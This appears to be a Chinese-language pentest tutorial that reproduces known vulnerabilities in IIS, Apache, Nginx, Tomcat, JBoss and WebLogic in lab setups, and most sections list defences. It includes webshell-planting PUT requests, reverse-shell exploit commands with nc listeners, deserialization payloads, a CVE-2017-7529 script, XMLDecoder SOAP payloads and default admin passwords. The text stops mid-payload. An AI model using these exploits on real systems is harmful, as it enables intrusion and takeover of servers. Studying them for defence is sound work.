一、常见的中间件:
iis apache tomcat nginx jboss weblogic websphere
二、IIS:
2.1 IIS6.x(Windows 2003)
2.1.1 PUT 漏洞
1、漏洞简述:
在目标开启网站写入权限,且 WebDAV 处于开启状态时,可以用 PUT 方法写入文件
2、环境准备
(1)在网站属性中开启网站的写入权限:
(2)在 Web 服务拓展中开启 WebDAV:
2、漏洞复现
(1)抓取网站请求包,改 HTTP 的请求方式为 OPTIONS 来查看网站支持哪些请求方式:
若有 PUT 方法,则说明可能存在文件写入漏洞
(2)PUT 上传方法一(burpsuite)
1、先用 PUT 方法上传 txt ,因为直接上传脚本文件 asp 会被拦截,格式如下:
PUT /test.txt HTTP/1.1
Host: www.example.com
Content-Length: 25
这里要有一行空格
<%eval request("cmd")%>
2、使用 MOVE 方法修改文件后缀名,格式如下
MOVE /test.txt HTTP/1.1
Host: www.example.com
Destination: http://www.example.com/test.asp
这里要有一行空格
或
MOVE /test.txt HTTP/1.1
Host: www.example.com
Destination: /test.asp
这里要有一行空格
(3)PUT 上传方法二(POSTMAN),同方法一相比选择一种即可
(4)直接连接一句话后门即可(PHP 和 ASP 都可以)
3、漏洞防御:
(1)禁止写入;
(2)关闭 WebDAV
2.1.2 文件解析漏洞
1、漏洞概述:
(1)该版本默认将*.asp;.jpg 此种格式的文件名,当成 .asp 解析。服务器默认不解析 ; 号及其后面的内容,相当于截断。
(2)iis除了会将 asp 解析成脚本执行文件之外,还会将 cer cdx asa 等扩展名解析成 asp(可以通过 属性 -> 主目录 -> 配置 查看)
(3)该版本默认会将 *.asp/ 目录下的所有文件当成 asp 解析
2、漏洞防御:
(1)禁止创建和上传此类畸形文件
(2)图片存放目录设置成禁止脚本文件执行
(3)升级iis版本
2.1.3 IIS 短文件漏洞
1、漏洞概述:
在cmd下输入 dir /x 即可看到短文件名的效果。
2、漏洞原理:
(1)当后缀小于4时,短文件名产生需要文件(夹)名前缀字符长度大于等于9位。
(2)当后缀大于等于4时,文件名前缀字符长度即使为1,也会产生短文件名。
(3)目前 IIS 支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种
(4)IIS8.0 之后的版本只能通过 OPTIONS 和 TRACE 方法被猜测成功
3、短文件名特征:
(1)只显示前6位的字符,后续字符用~1代替,其中数字1是可以递增。如果存在文件名类似的文件,则前面的 6个字符是相同的,后面的数字进行递增
(2)后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断。
(3)所有小写字母均转换成大写的字母
(4)长文件名中包含多个 ”.” 的时候,以文件最后一个 ”.” 作为短文件名的后缀
(5)长文件名前缀/文件夹名字符长度符合 0-9、A-Z、a-z 范围且需要大于等于9位才会生成短文件名,如果包含空格或者其他部分特殊字符,不论长度均会生成短文件。
3、环境准备:
进行猜解文件名时
(1)IIS8.0 以下版本需要开启 ASP.NET 支持(以下通过开启 IIS6.0 ASP.NET 后进行复现)
(2)IIS>=8.0 版本,即使没有安装 ASP.NET,通过OPTIONS和TRACE方法也可以猜解成功。
4、漏洞复现:
(1)验证是否存在短文件漏洞:
payload1:
http://www.example.com/*~1*/a.aspx
payload2:
http://www.example.com/jgjgjsdalfsjwe*~1*/gwgqetqwrewqr.aspx
若以上两个 payload 返回的内容不一样,则说明存在短文件漏洞
(2)猜解原理:
在网站目录下新建一个 abcdefghijklmn.txt 文件
1、先猜文件前缀
(1)http://www.example.com/a*~1*/a.aspx
若返回内容与访问 payload1 时一样,则说明正确,可以继续猜解,例如:
(2)http://www.example.com/ad*~1*/a.aspx
若返回与上述不一样,则说明不正确,以此反复直到获得正确的短文件名
2、猜文件后缀:
(1)http://www.example.com/abcdef*~1.*/a.aspx
在 1 后面加点,若返回内容与访问 payload1 时一样,则说明确实是文件不是文件夹,任何继续猜解
(2)http://www.example.com/abcdef*~1.t*/a.aspx
也是以此往复,直到猜解出正确的文件后缀
3、猜到前缀与后缀,就可以直接猜完整文件名了,可以自己制作字典进行访问
(3)用工具进行猜解
https://github.com/lijiejie/IIS_shortname_Scanner
python iis_shortname_scan.py http://www.example.com/
5、漏洞防御:
(1)升级.net framework
(2)修改注册表键值: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem 修改 NtfsDisable8dot3NameCreation 为1。修改完成后,需要重启系统生效。
(3)命令行关闭短文件名,任何重启
fsutil behavior set disable8dot3 1
注意:(2)、(3)之后新建的长文件就不会有短文件名了
2.1.4 IIS RCE-CVE-2017-7269
1、漏洞概述:
Microsoft windows Server 2003 R2 中的 Internet 信息服务 IIS6.0 中的 WebDAV 服务中的 ScStoragePathFromUrl 函数中的缓冲区溢出允许远程攻击者通过以 If:<http:// 开头的长标头执行任意代码 PROPFIND 请求。(简单来说利用这个漏洞可以反弹 shell 来执行命令)
2、影响范围:
WiNdows Server 2003 R2 上使用 IIS6.0 并开启 WebDAV扩展。
3、环境准备:
(1)在服务拓展中开启 fastcgi 和 WebDAV
(2)使用漏洞利用的 exp
https://github.com/g0rx/iis6-exploit-2017-CVE-2017-726
4、漏洞利用(使用 kali 复现):
(1)kali 使用 nc 监听端口:
nc -lvnp 5566
(2)使用 exp :
kali:192.168.103.130
win 2003:192.168.103.143
python2 iis6 192.168.103.143 80 192.168.103.130 5566
(3)反弹 shell 成功:
5、漏洞防御:
(1)关闭 WebDav服务
(2)升级
(3)部署安全设备
2.2 IIS7.x
2.2.1 文件解析漏洞
1、漏洞概述:
IIS7.x 版本在 Fast-CGl 运行模式下,在任意文件,例:1.jpg 后面加上 /.php,会将 1.jpg 解析为 php 文件
2、漏洞复现:
访问:
http://192.168.0.148:8980/1.jpg/.php
就可以将 1.jpg 当作 php 文件来解析
3、漏洞防御:
(1)配置 cgi fix_pathinfo(php inil中)为 0 并重启 php-cgi 程序
(2)在程序映射中找到 phpstudy_fastcig ,把请求限制中的仅当请求映射至文件时才调用处理程序打勾。
2.2.2 HTTP.SYS 远程代码执行(MS15-034)
1、漏洞介绍:
HTTP.SYS 是 Microsoft Windows 处理 HTTP 请求的内核驱动程序,为了优化 IIS 服务器性能,从 IIS6.0 引入,IIS 服务进程依赖 HTTP.SYS。
HTTP.SYS 远程代码执行漏洞实质是 HTTP.SYS 的整数溢出漏洞,当攻击者向受影响的Windows 系统发送特殊设计的 HTTP 请求,HTTP.SYS 未正确分析时就会导致此漏洞,成功利用此漏洞的攻击者可以在系统 帐户的上下文中执行任意代码。
主要存在 Windows + IIS 的环境下,任何安装了微软 IIS 6.0 以上的 Windows Server 2008 R2/Server 2012/Server 2012 R2 以及 Windows 7/8/8.1 操作系统都受到这个漏洞的影响。
2、影响范围:
Windows7、Windows server 2008 R2、Windows8、Windows server2012、Windows8.1和 Windows server 2012 R2(IIS7.5、IIS8.0、IIS8.5)
3、漏洞验证:
(1)在 http 请求头中添加:
Range: bytes=0-18446744073709551615
(2)若返回416 的状态码,说明存在漏洞:
4、漏洞利用:
(1)poc :
(2)
5、漏洞防御:
(1)安装修复补丁(KB3042553)
三、Apache
Apache 目录结构
bin:存放常用命令工具,如httpd
cgi-bin:存放linux下常用命令,如xxx.sh
error:错误记录
htdocs:网站源码
icons:网站图标
manual:手册
modules:扩展模块
3.1 未知拓展名解析漏洞
1、漏洞原理:
Apache默认一个文件可以有多个以点分割的后缀,当最右边的后缀无法识别,则继续向左识别,直到识别到合法后缀才进行解析。
apache 不能识别的后缀名,可以通过路径为 "Apache2.4.39\conf\mime.types" 的文件查看。
2、漏洞范围:
(1)使用 module 模式与 php 结合的所有版本 apache 存在未知扩展名解析漏洞。
(2) 使用 fastcgi 模式与 php 结合的所有版本 apache 不存在此漏洞。
(3)利用此漏洞时必须保证扩展名中至少带有一个 .php,不然将默认作为 text/html 文档处理。
3、漏洞复现:
(1)执行下述命令:
service apache2 restart
cd /etc/apache2/mods-enabled
sudo vim phpx.x.conf
(2)把 $ 改为 \.:
正则表达式中,$用来匹配字符串结尾位置。如果设置了 RegExp 对象的 Multiline 属性的条件下,还会匹配到字符串结尾的换行符 "\n" 或 "\r" 。
(3)重启服务器:
service apache2 restart
(4)访问 phpinfo.php.xxx.ccc,成功作为 php 解析
4、漏洞修复:
(1)在 httpd.conf 或 httpd-vhosts.conf 中加入以下语句,从而禁止文件名格式为.php.的访问权限:
FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
(2)如果需要保留文件名,可以修改程序源代码,替换上传文件名中的 “.” 为 “_”:
$filename = str_replace('.', '_', $filename);
3.2 AddHandler 漏洞
1、漏洞概述:
(1)apache 在解析文件时有一个原则:当碰到不认识的扩展名时,将会从后往前解析,直到遇到认识的扩展名为止
(2)如果都不认识将会暴露源码。 在 apache 配置不当的时候就会造成 apache 解析漏洞。
2、漏洞复现:
(1)进入 /etc/apache2/sites-enabled/ 目录,新建 test.conf 添加 AddHandler(指定扩展名为 .php 的文件应被application/x-httpd-php来处理。)并重启apache服务
AddHandler application/x-httpd-php .php
(2)这是后访问 1.php.ccyy 就可以成功当作 php 文件解析了
3、漏洞修复:
(1)在 httpd.conf 或 httpd-vhosts.conf 中加入以下语句,从而禁止文件名格式为.php.的访问权限:
<FilesMatch ".(php.|php3.|php4.|php5.)">
Order Deny,Allow
Deny from all
</FilesMatch>
(2)把配置不当的文件进行修改
3.3 目录浏览遍历漏洞
1、漏洞概述:
当客户端访问到一个目录时,Apache服务器将会默认寻找一个 index list 中的文件,若文件不存在,则会列出当前目录下所有文件或返回 403 状态码,而列出目录下所有文件的行为称为目录遍历。
2、漏洞可能的原因:
(1)httpd.conf 中
DocumentRoot "C:\phpStudy\WWW"
<Directory />
Options +Indexes +FollowSymLinks +ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
</Directory>
(2)vhost.conf 中
3、漏洞预防:
(1)httpd.conf 中
DocumentRoot "C:\phpStudy\WWW"
<Directory />
Options -Indexes +FollowSymLinks +ExecCGI
AllowOverride All
Order allow,deny
Allow from all
Require all granted
</Directory>
(2)vhost.conf 中
3.4 HTTPD 换行解析漏洞
1、漏洞概述:
Apache HTTPD 是一款HTTP服务器,它可以通过 mod_php 来运行 PHP 网页。其2.4.0~2.4.29版本中存在 一个解析漏洞,在解析 PHP 时,1.php\x0a 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。
如果通过 $_FILES['file']['name'] 获取文件名的话,会把 \x0a 自动去除,所以 $_FILES['file']['name'] 这种方式获取文件名就不会造成这个漏洞 。
2、影响范围 apache :2.4.0~2.4.29版本
3、漏洞复现:
(1)使用 vulfocus :
docker run -dt -p 5566:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=0.0.0.0 dockerproxy.com/vulfocus/vulfocus
(2)访问 ip:5566 :
vulfocus 的账号密码都是 admin
(3)搜索 CVE-2017-15715 并 下载,下载完成后启动靶场,根据提供的端口号,写入以下文件
<html>
<head><meta charset="utf-8"></head>
<body>
<form action="http://x.x.x.x:32679" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="text" name="name" <br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
<br />
(4)创建脚本文件 1.txt :
<?php phpinfo();?>
(5)使用 1.jpg 来绕过黑名单,burpsuite 抓包,然后点击提交
(6)改 1.jpg 为 1.php,在后面加上空格,然后改编码为 0a
这时候就变成换行了
(7)上传成功,访问 1.php%0a
成功显示
(8)页面中搜索 flag ,提交,然后就通过了
4、漏洞修复:
(1)升级 apache 到最新版本
(2)将上传的文件重命名为为时间戳+随机数+.jpg的格式并禁用上传文件目录执行
四、Nginx
4.1 文件解析漏洞
1、漏洞概述:
该漏洞是由于 Nginx 中 php 配置不当而造成的,与 Nginx 版本无关,但在高版本的 php 中,由于 security.limit_extensions 的引入,使得该漏洞难以被成功利用。
在已经上传了恶意 1.jpg 文件后,访问 /1.jpg/xxx.php(路径修复 cgi.fix_pathinfo=1 后)使得Nginx 将其解析为 php 文件传给 php-cgi 程序(传给路径位于 SERVER["SCRIPT_FILENAME"],修复去除路径位于 SERVER["PATH_INFO"]),但 cgi 程序将其解析为 1.jpg 并执行。
2、环境准备:
(1)使用 phpstudy nginx php5.2.7
(2)在 php.ini 中设置:
cgi.fix_pathinfo=1
3、漏洞原理:
(1)Nginx 的处理程序和 FastCGI 处理程序不同导致 Nginx 拿到 URI为 /1.jpg/xxx.php 后,识别处后缀是.php,认为是 php 文件,转交给 PHP FastCGI 处理程序去处理。PHP FastCGI 处理程序识别该 URI: /1.jpg/xxx.php 不存在,按照 PHP FastCGI 处理程序自己的规则,删去最后的/xxx.php,又看 /1.jpg 存在,就将 /1.jpg 当成要执行的文件,就成功解析
(2)在 phpinfo 中
Nginx传送给 PHP FastCGI 处理程序的路径可以在 _SERVER["ORIG_SCRIPT_FILENAME"] 中查看
删除的多余路径会存在 _SERVER["PATH_INFO"] 中,在这里为 xxx.php
也可以直接查看 cgi.fix_pathinfo 的值
4、漏洞复现
(1)准备图片马 1.jpg:
<?php phpinfo();?>
(2)访问 /1.jpg/xxx.php :
访问 phpinfo() 成功
4、漏洞修复:
(1)将 php.ini 文件中的 cgi.fix_pathinfo 的值设置为 0 ,这样 php 再解析 1.jpg/xxx.php 这样的文件时,只要 1.jpg 不存在就会显示 404 页面
(2) php-fpm.conf 中的 security.limit_extensions 后面的值设置为.php
4.2 目录遍历漏洞
1、漏洞概述:
Nginx 的目录遍历与 apache 一样,属于配置方面的问题,错误的配置可导致目录遍历与源码泄露。
2、环境准备:
(1)修改 nginx.conf,添加
autoindex on
3、漏洞修复:
(1)设置 autoindex off
(2)删除 autoindex on
4.3 空字节代码执行漏洞
1、漏洞概述:
在使用 PHP-FastCGI 执行 php 的时候,URL 里面在遇到 %00 空字节时与 FastCGI 处理不一致,导致可在非 php文件中嵌入 php 代码,通过访问 url+%00.php 来执行其中的 php 代码。如: /1.txt.php 会把 1.txt 文件当作 php 来执行。
2、影响范围:
nginx 0.5.*
nginx 0.6.*
nginx 0.7 <= 0.7.65
nginx 0.8 <= 0.8.37
3、漏洞复现:
(1)上传图片马 1.jpg
<?php phpinfo();?>
(2)访问 1.jpg ,抓包,然后修改 1.jpg 为 1.jpg..php
(3)把 jpg 后的第一个 . 改为空字符,就是16进制下把 2e 改为 00
(4)访问 phpinfo 成功
4、漏洞修复:
(1)在nginx虚拟机配置或者fcgi.conf配置加如下代码:
if ($request_filename ~* (.*)\.php) {
set $php_url $1;
}
if (!-e $php_url.php) {
return 403
(2)升级 nginx
4.4 整数溢出漏洞(CVE-2017-7529)
1、漏洞概述:
在 Nginx 的 range filter 中存在整数溢出漏洞,可以通过带有特殊构造的 range 的 HTTP 头的恶意请求引发这个整数溢出漏洞,并导致信息泄露。
当Nginx服务器使用代理缓存的情况下攻击者通过利用该漏洞可以拿到服务器的后端真实 IP 或其他敏感信息。
2、漏洞范围:
该漏洞影响所有 0.5.6 - 1.13.2 版本, Nginx 只需要开启缓存,攻击者即可发送恶意请求进行远程攻击造成信息泄露。
3、漏洞复现:
(1)在 vulfocus 中启动 CVE-2017-7529
(2)漏洞利用脚本:
#!/usr/bin/env python
import sys
import requests
if len(sys.argv) < 2:
print("%s url" % (sys.argv[0]))
print("eg: python %s http://your-ip:8080/" % (sys.argv[0]))
sys.exit()
headers = {
'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240"
}
offset = 605
url = sys.argv[1]
file_len = len(requests.get(url, headers=headers).content)
n = file_len + offset
headers['Range'] = "bytes=-%d,-%d" % (
n, 0x8000000000000000 - n)
r = requests.get(url, headers=headers)
4、漏洞修复:
(1)升级 Nginx 版本
4.5 CRLF注入漏洞
1、漏洞概述:
Nginx 将传入的 url 进行解码,对其中的 %0d%0a 替换成换行符,导致后面的数据注入至头部,造成 CRLF 注入漏洞。
2、环境准备:
(1)修改 nginx.conf 设置 HTTP 跳转,添加
$uri 和 $document_uri 是解码以后的请求路径,$request_uri 是完整的 URI(没有解码)所以如果使用 $uri 就会存在包含换行符,就是 CRLF 注入漏洞
location / {
return 302 https://$host$uri;
}
当用户访问nginx服务器时由于此配置的存在会被强制跳转到以https协议访问之前访问的链接,上面的配置的关键利用点由两个:
一是配置中的 url 处填入 CRLF,然后对服务器进行访问实现头部注入。
二是服务器会返回一个 302 跳转给用户,所以我们注入的头部参数又会返回到客户这边。
3、漏洞复现:
(1)访问 http://x.x.x.x,然后抓包,修改数据包,设置 payload 为:
/%0a%0dSet-Cookie:%20a=1
(2)查看返回的响应,设置 cookie 成功
4、漏洞防御:
(1)删除错误的配置
4.6 文件名逻辑漏洞(CVE-2013-4547)
1、漏洞概述:
这一漏洞的原理是非法字符空格和截止符(\0)会导致 Nginx 解析 URI 时的有限状态机混乱,此漏洞可导致目录跨越及代码执行
2、影响范围:
nginx 0.8.41 – 1.5.6
3、漏洞复现:
(1)上传 1.jpg,抓包,在 jpg 后加一个空格
(2)改 http 包提交的方式为 GET,删除多余的字段,改访问路径为上传路径下的 1.jpg,在 jpg 后面加两个空格然后加 .php
(3)把第二个空格的 16 进制改为 00(空字符)
(4)把请求包放出去,这时就能成功执行 1.jpg 内的 php 代码
4、漏洞预防:
(1)升级 Nginx
五、Tomcat
5.1 tomcat 远程代码执行漏洞(CVE-2017-12615)
1、漏洞概述:
当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP 文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。
2、漏洞范围:
Apache Tomcat 7.0.0 - 7.0.79
Apache Tomcat/8.5.19
3、环境准备:
在 web.xml 中:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
4、漏洞复现(这里使用的是 burpsuite,也可以使用 postman 直接 PUT 提交):
(1)使用 vulfocus 进行复现
(2)在 tomcat 主界面刷新页面,然后抓包
(3)去除多余 http 头部信息后,修改 GET 请求为 PUT,然后在冰蝎中复制 jsp 的一句话后门,粘贴在 http 请求体部分,然后书写上传的文件名,有三种方法绕过:
/shell.jsp%20
/shell.jsp::$DATA
/shell.jsp/
(4)点击发送,然后在 docker 中查看
5、漏洞防御:
(1)设置 readonly 为 true
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
5.2 tomcat 弱口令,war 文件上传
1、漏洞概述:
在 tomcat8 环境下默认进入后台的密码为 tomcat/tomcat,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令, 使用工具对其进行穷举。得到密码后,也可以进行后台上传恶意代码控制服务器。
2、漏洞复现:
(1)准备内容为一句话后门的 shell.jsp,然后压缩为 shell.zip,再改后缀名为 shell.war
(2)成功尝试或爆破密码进入后,上传 shell.war:
上传后它会自动解压
(3)上传前的 application:
上传后的 application:
(4)访问 /shell/shell.jsp
(5)连接冰蝎,连接成功
3、漏洞修复:
(1)设置强口令(conf/tomcat-users.xml)
<user username="新用户名" password="新密码" roles="manager-gui,managerscript,manager-jmx,manager-status,admin-gui,admin-script"
(2)删除 manger 文件
5.3 tomcat 远程代码执行(CVE-2019-0232)
1、漏洞概述:
由于 JRE 将命令行参数传递给 Windows 的方式存在错误,会导致 CGI Servlet 受到远程执行代码的攻击。
2、影响范围:
(1)系统为 Windows
(2) 启用了 CGI Servlet(默认为关闭)
(3) 启用了 enableCmdLineArguments(Tomcat 9.0.* 及官方未来发布版本默认为关闭)
(4)影响的 tomcat 版本:
Apache Tomcat 9.0.0.M1 to 9.0.17
Apache Tomcat 8.5.0 to 8.5.39
Apache Tomcat 7.0.0 to 7.0.93
3、环境准备(jdk1.8,tomcat 8.5.39):
(1)配置 tomcat 8.5.39,在 web.xml 中取消该项的注释
中间添加:
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>cgiPathPrefix</param-name>
<param-value>WEB-INF/cgi-bin</param-value>
</init-param>
<init-param>
<param-name>executable</param-name>
<param-value></param-value>
</init-param>
变成这样:
(2)继续在 web.xml 中编辑,去除下图的注释:
(3)打开同目录下的 content.xml 文件:
在这里添加 privileged="true" :
修改后为:
4、漏洞复现:
(1)payload 如下:
http://localhost:8080/cgi-bin/hello.bat?&C:\Windows\System32\指令
eg:
http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet%20user
http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe
http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cwhoami
(编码很重要)
5、漏洞修复:
(1)更改配置
(2)升级 tomcat 版本
5.4 tomcat 反序列化漏洞(cve-2016-8735)
1、漏洞概述:
该漏洞形成的原因是 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener 的方法。
2、影响范围:
ApacheTomcat 9.0.0.M1 到 9.0.0.M11
ApacheTomcat 8.5.0 到 8.5.6
ApacheTomcat 8.0.0.RC1 到 8.0.38
ApacheTomcat 7.0.0 到 7.0.72
ApacheTomcat 6.0.0 到 6.0.47
3、漏洞复现:
(1)准备 jdk1.8 和 ysoserial.jar
(2)payload:
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.103.148 10001 Groovy1 "calc.exe"
5.5 Apache Tomcat文件包含漏洞(CVE-2020-1938)
1、漏洞概述:
攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件
2、漏洞范围:
Apache Tomcat 6
Tomcat 7 系列 < 7.0.100
Tomcat 8 系列 < 8.5.51
Tomcat 9 系列 < 9.0.31
3、漏洞复现:
(1)下载:GitHub - xindongzhuaizhuai/CVE-2020-1938
(2)工具使用:
python2 CVE-2020-1938.py -p 8009 -f /WEB-INF/web.xml 192.168.103.147
六、JBOSS
6.1 JMX Console未授权访问Getshell
1、漏洞概述:
此漏洞主要是由于 JBoss 中 /jmx-console/HtmlAdaptor 路径对外开放,并且没有任何身份验证机制,导致攻击者可以进⼊到 jmx 控制台,并在其中执⾏任何功能。
2、漏洞范围:
Jboss4.x以下
3、漏洞复现:
(1)访问 localhost:8080;
(2)点击进入 JMX console
(3)进入 jboss.deployment
(4)准备 shell.jsp,压缩后改后缀为 shell.war
(5)把 shell.war 放在外部网站中
eg: http://192.168.1.1/shell.war
(6)把 url 填入如下位置,然后点击 invoke:
(7)返回 JMX console 页面,此时发现上传成功,点击然后中间件会自动解压
(8)此时目标 IP 的 8080 端口,加上路径:
/shell/shell.jsp
(9)使用冰蝎连接,连接成功
4、漏洞预防:
(1)升级 jboss
(2)关闭 jmx-console 和 web-console,提高安全性
6.2 JBoss 5.x/6.x 反序列化命令执行漏洞(CVE-2017-12149)
1、漏洞概述:
在 Red Hat Enterprise Application Platform 5.2 附带的 Jboss Application Server 中,发现HTTP Invoker 的 ReadOnlyAccessFilter 中的 doFilter 方法不限制对其执行反序列化的类,从而使攻击者可以通过精心制作的序列化数据执行任意代码。
2、影响范围:
5.x/6.x
3、漏洞验证:
该漏洞出现在 /invoker/readonly 中 ,服务器将用户post请求内容进行反序列化 用工具来验证,在验证之前我们可以访问路径进行初步判断 url://invoker/readonly,看服务器返回情况如下则说明漏洞存在:
4、漏洞复现:
(1)打开浏览器管理者工具可以查看 Jboss 版本
(2)使用工具:DeserializeExploit.jar
java -jar DeserializeExploit.jar
然后填入 ip 地址和端口号就行:
(3)使用工具 JavaDeserH2HC
- git clone 项目到 kali 上
- 执行,来监听 5566 端口:
nc -lvnp 5566
- 执行,来生成 class 文件:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
- 执行,来生成 ser 文件:
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.103.130:5566
- 执行,获取网站信息,监听的端口有反弹 shell :
curl http://192.168.0.179:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
5、漏洞修复:
(1)不需要 http-invoker.sar 组件的用户可直接删除此组件。
(2)添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制。
(3)升级新版本。
(4)删除 http-invoker.sar 组件。
(5)添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:用于对 http invoker 组件进行访问控制。
<url-pattern>/*</url-pattern>
6.3 Jboss 5.x/6.x admin-Console 后台部署 war 包 Getshell
1、漏洞概述:
Jboss 5.x/6.x admin-console 和 web-console 的账号密码是一样的。因此当 web-console 无法部署 war 包时,可以使用 admin-console 来部署。前提是先得到账号密码,密码保存在
jboss/server/default/conf/props/jmx-console-users.properties
2、影响版本:
Jboss 5.x/6.x
3、漏洞复现:
(1)访问:
http://192.168.103.149:8080/admin-console/login.seam?conversationId=4
爆破账号密码:
(2)准备 shell.war
(3)点击:
(4)点击:
(5)上传 shell.war
(6)访问 /shell/shell.jsp 进行连接
4、漏洞修复:
(1)设置高强度口令
6.4 JBoss EJBInvokerServlet CVE-2013-4810 反序列化漏洞
1、漏洞概述:
可以远程执行代码
2、漏洞范围:
实际上主要集中在 jboss 6.x 版本上:
3、漏洞复现:
与 6.2 完全相同,只是路径改为了 /invoker/EJBInvokerServlet
6.5 JBOSSMQ JMS CVE-2017-7504 集群反序列化漏洞 4.X
1、漏洞概述:
JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的
HTTPServerILServlet.java⽂件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利⽤该漏洞执行任意代码。
2、漏洞范围:
JBoss AS 4.x及之前版本
3、漏洞验证:
首先验证目标jboss是否存在此漏洞,直接访问 /jbossmq-httpil/HTTPServerILServlet 路径,若返回 200,则可能存在漏洞。
4、漏洞复现:
与 6.2 完全一样,只是导致漏洞的路径变成了 /jbossmq-httpil/HTTPServerILServlet
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.103.130:5566
curl http://192.168.103.148:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser
有时候如果不管用可以多试几次,也可以在后面多加一个斜杠 curl http://192.168.103.148:8080/jbossmq-httpil/HTTPServerILServlet/
七、Weblogic
7.1 weblogic 弱口令 getshell 漏洞
1、漏洞概述:
在 weblogic 搭建好之后没有修改进入后台的密码,导致弱口令登录获得 webshell
2、漏洞复现:
(1)访问:
http://192.168.0.185:7001/console/login/LoginForm.jsp
(2)登录后台:
weblogic/Oracle@123
(3)点击部署,点击安装,上传文件,上传 shell.war
(4)然后用冰蝎连接
7.2 XMLDecoder 反序列化漏洞(CVE-2017-3506)
1、漏洞概述:
Weblogic 的 WLS Security 组件对外提供 webservice 服务,其中使用了 XMLDecoder 来解析用户传入的 XML 数据,在解析的过程中出现反序列化漏洞。
2、影响版本:
10.3.6.0.0
12.1.3.0.0
12.2.1.1.0
12.2.1.2.0
3、漏洞验证:
(1)访问以下目录中的一种,有回显可以判断 wls-wsat 组件存在
/wls-wsat/CoordinatorPortType
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/ParticipantPortType
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationRequesterPortType11
4、漏洞复现:
(1)使用 vulfocus 下载 CVE-2017-3506
(2)发送 post 包:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.103.150:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 642
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1.jsp</string>
<void method="println">
<string>
<![CDATA[
<% out.print("hello"); %>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
(3)访问网站:
http://192.168.0.185:7001/bea_wls_internal/test1.jsp
(4)也可以上传一句话木马:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: 192.168.103.150:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 642
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test1.jsp</string>
<void method="println">
<string>
<![CDATA[
